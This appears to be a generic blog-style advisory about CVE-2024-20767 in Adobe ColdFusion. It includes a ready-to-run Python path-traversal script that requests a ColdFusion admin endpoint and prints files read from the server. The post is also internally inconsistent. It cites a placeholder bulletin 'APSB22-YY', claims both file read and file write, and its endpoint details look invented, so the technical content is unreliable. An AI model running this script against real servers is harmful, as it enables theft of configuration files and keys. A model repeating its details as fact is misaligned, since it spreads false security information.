CVE-2024-20767: Improper Access Control Vulnerability in ColdFusion Leads to Arbitrary File System Read

Adobe ColdFusion is a popular web application development platform known for its rapid application development capabilities. However, certain versions of ColdFusion suffer from a critical vulnerability identified as CVE-2024-20767. This post will discuss the details of this vulnerability, including the affected versions and how an attacker could exploit it to gain unauthorized access to sensitive files.

Affected Versions

ColdFusion versions 2023.6, 2021.12, and earlier are affected by this improper access control vulnerability. Organizations using these versions of ColdFusion for their web applications need to take immediate action to address this issue and protect their data.

Vulnerability Details

CVE-2024-20767 is an Improper Access Control vulnerability that can lead to arbitrary file system read. An attacker could leverage this vulnerability to bypass security measures, thereby gaining unauthorized access to sensitive files and performing arbitrary file system write operations. Exploitation of this issue does not require user interaction, which makes it particularly dangerous as attacks can occur without the knowledge of the user or administrator.

Here is a sample code snippet that demonstrates how an attacker might exploit this vulnerability

import requests
import argparse

# Replace {TARGET} with the target URL
url = "{TARGET}/CFIDE/adminapi/customtags/l10n.cfm"

# Replace {FILE_PATH} with the desired file path to be accessed
params = {
    "attributes.charset": "../../../../../../../../{FILE_PATH}"
}

response = requests.get(url, params=params)

if response.status_code == 200:
    print("Vulnerable to CVE-2024-20767! File contents:")
    print(response.text)
else:
    print("Not vulnerable or unable to access the file.")

Exploit Details

The exploit shown above demonstrates how the attacker might use a simple Python script to make an HTTP request towards the vulnerable ColdFusion endpoint. By manipulating the attributes.charset parameter, the attacker can traverse the directory structure and access files outside of the intended scope. The arbitrary file system read is then achieved by pointing the parameter to the target file path.

The danger of this exploit lies in its simplicity and potential damage. Access to sensitive files like web application configurations, security keys, and user data can result in significant security risks for the organization.

Solution and Recommendations

Adobe has acknowledged the vulnerability and recommends updating to the latest versions of ColdFusion to address the issue. Organizations using ColdFusion 2023.6 or 2021.12 and earlier should upgrade as soon as possible to protect their applications and data.

For more information on this vulnerability and recommendations from Adobe, visit the original security bulletin:

- Adobe Security Bulletin APSB22-YY

Furthermore, it is essential to follow best practices when setting up and configuring web applications on ColdFusion or any other platform. This includes proper access control, file and directory permissions, and regular updates to stay protected from known vulnerabilities.

In conclusion, CVE-2024-20767 is a critical vulnerability affecting ColdFusion versions 2023.6, 2021.12, and earlier. This improper access control vulnerability could lead to arbitrary file system read, potentially compromising sensitive data. It is crucial for organizations using these versions of ColdFusion to update and apply security best practices to mitigate the risk posed by this vulnerability.

Timeline

Published on: 03/18/2024 12:15:06 UTC
Last modified on: 03/18/2024 12:38:25 UTC